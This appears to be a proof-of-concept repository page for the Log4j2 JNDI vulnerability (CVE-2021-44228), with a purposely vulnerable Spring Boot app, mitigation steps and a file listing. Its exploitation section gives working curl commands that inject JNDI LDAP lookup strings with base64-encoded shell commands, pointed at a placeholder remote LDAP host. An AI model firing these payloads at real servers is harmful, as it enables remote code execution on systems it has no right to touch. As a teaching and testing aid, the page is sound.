CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

Associated Vulnerability

Readme

# Sample Log4j2 vulnerable application (CVE-2021-44228) 
# Versions Affected: all versions from 2.0-beta9 to 2.14.1

This application is based on Spring Boot web application vulnerable to CVE-2021-44228

It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1).

![](./screenshot.png)

## Running the application

Run it:

```
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

```

## Exploitation steps

* Then, trigger the exploit using:

```bash
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
	"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
```

* Notice the output, showing it is connecting to malicious LDAP server:

```
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]


Caused by: java.net.UnknownHostException: your-private-ip
```

* if you give real ldap server details, it will download the object and execuate in your java program

## This vulnerability impacting all server including both client facing and backend core system if your application printing log message of unvalidated data..

* For example, a User-Agent string containing the exploit could be passed to a backend system written in Java that does indexing or data science and the exploit could get logged. This is why it is vital that all Java-based software that uses Log4j version 2 is patched or has mitigations applied immediately. Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.

![](./Exploit-activated.png)

## Mitigation : 

Reference : https://logging.apache.org/log4j/2.x/security.html

* Quick hot fix of application -> In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

* Upgrade to log4j 2.15.0 in application and deploy

File Snapshot

 [4.0K]  /data/pocs/6381710527ab27d666062a2bfa342d4dac9ab3ad
├── [ 26K]  Exploit-activated.png
├── [1.2K]  pom.xml
├── [2.6K]  README.md
├── [114K]  screenshot.png
└── [4.0K]  src
    └── [4.0K]  main
        ├── [4.0K]  java
        │   └── [4.0K]  com
        │       └── [4.0K]  log4j
        │           └── [4.0K]  cve
        │               ├── [ 308]  CVEMainApplication.java
        │               ├── [ 181]  Employee.java
        │               └── [ 903]  RestMainController.java
        └── [4.0K]  resources
            └── [   0]  application.properties

7 directories, 8 files

Remarks